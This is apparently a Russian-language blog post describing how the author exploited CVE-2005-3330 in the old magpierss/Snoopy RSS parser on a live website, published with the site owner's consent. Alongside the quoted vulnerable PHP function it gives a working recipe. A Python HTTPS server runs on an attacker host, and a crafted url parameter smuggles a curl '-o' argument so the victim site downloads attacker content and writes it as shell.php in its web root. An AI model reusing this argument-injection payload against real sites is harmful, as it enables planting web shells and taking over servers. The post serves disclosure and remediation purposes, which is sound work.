Хочется рассказать об эксплуатации одной старой известной уязвимости CVE-2005-3330, которую обнаружили в 2016 году на довольно популярном веб-сайте, который ведет свою историю с 2006 года. Могу лишь предположить что фреймворк с уязвимостью просто забыли удалить с сайта, хотя чем черт не шутит может быть и используют.
Итак. Уязвимость присутствует в парсере RSS magpierss-0.72, который в свою очередь использует библиотеку Snoopy. Пример эксплоита тут. Но он, как случается довольно часто, лишь намекает на то, как уязвимость можно эксплуатировать. Описание уязвимости говорит нам о том, что уязвимость проявляется при передаче пользовательских данных, а именно https-адреса стороннего веб-сайта в GET-параметре url.
Уязвимая функция
function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
{
if($this->passcookies && $this->_redirectaddr)
$this->setcookies();
$headers = array();
$URI_PARTS = parse_url($URI);
if(empty($url))
$url = "/";
// GET ... header not needed for curl
//$headers[] = $http_method." ".$url." ".$this->_httpversion;
if(!empty($this->agent))
$headers[] = "User-Agent: ".$this->agent;
if(!empty($this->host))
$headers[] = "Host: ".$this->host;
if(!empty($this->accept))
$headers[] = "Accept: ".$this->accept;
if(!empty($this->referer))
$headers[] = "Referer: ".$this->referer;
if(!empty($this->cookies))
{
if(!is_array($this->cookies))
$this->cookies = (array)$this->cookies;
reset($this->cookies);
if ( count($this->cookies) > 0 ) {
$cookie_str = 'Cookie: ';
foreach ( $this->cookies as $cookieKey => $cookieVal ) {
$cookie_str .= $cookieKey."=".urlencode($cookieVal)."; ";
}
$headers[] = substr($cookie_str,0,-2);
}
}
if(!empty($this->rawheaders))
{
if(!is_array($this->rawheaders))
$this->rawheaders = (array)$this->rawheaders;
while(list($headerKey,$headerVal) = each($this->rawheaders))
$headers[] = $headerKey.": ".$headerVal;
}
if(!empty($content_type)) {
if ($content_type == "multipart/form-data")
$headers[] = "Content-type: $content_type; boundary=".$this->_mime_boundary;
else
$headers[] = "Content-type: $content_type";
}
if(!empty($body))
$headers[] = "Content-length: ".strlen($body);
if(!empty($this->user) || !empty($this->pass))
$headers[] = "Authorization: BASIC ".base64_encode($this->user.":".$this->pass);
for($curr_header = 0; $curr_header < count($headers); $curr_header++) {
$cmdline_params .= " -H "".$headers[$curr_header].""";
}
if(!empty($body))
$cmdline_params .= " -d "$body"";
if($this->read_timeout > 0)
$cmdline_params .= " -m ".$this->read_timeout;
$headerfile = uniqid(time());
# accept self-signed certs
$cmdline_params .= " -k";
exec($this->curl_path." -D "/tmp/$headerfile"".escapeshellcmd($cmdline_params)." ".escapeshellcmd($URI),$results,$return);
[ad name=»Responbl»]
Для того, чтобы проэксплуатировать уязвимость:
- У нас должен быть веб-сайт, который отдаст страничку по https. Такой веб-сайт мы можем поднять на Python’е за 5 секунд. Создаём скрипт https.py:
import BaseHTTPServer, SimpleHTTPServer import ssl httpd = BaseHTTPServer.HTTPServer(('hacker_host', 443), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever()
Для работы ему понадобится сертификат. Создадим самоподписанный сертификат следующей командой:
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
В корень со скриптом https.py положим скрипт index.php с любым интересным содержимым, например таким:
<?php echo("hello world!"); ?>
- Мы должны знать путь, чтобы передать в параметр url то, что мы хотим:
http://<host:port>/<path>/usr/lib/magpierss-0.72/scripts/magpie_debug.php?url=
Теперь можно эксплуатировать. В нашем случае запрос выглядел следующим образом:
http://<host:port>/<path>/usr/lib/magpierss-0.72/scripts/magpie_debug.php?url=https://<hacker_host>/index.php -o"cache/../../../../../shell.php"
Что означает осуществление http-запроса к уязвимому сайту <host:port> с параметром url, в который мы передаём адрес странички на сайте атакующего https://<hacker_host:hacker_port>/index.php. Опытным путём установлено, что сайт положит содержимое файла index.php в файл shell.php корня сайта. Теперь сайт жертвы <host:port> содержит наш скрипт shell.php. Обратиться к нему можно так:
http://<host:port>/shell.php
Рекомендацией по исправлению является удаление неиспользуемого кода и устаревших фреймворков, проверка сайта на наличие бэкдоров, шеллкодов и т.п.
[ad name=»Responbl»]
Администрация сайта подтвердила наличие уязвимости и начала процесс исправления; разрешила опубликовать статью с обезличенной информацией.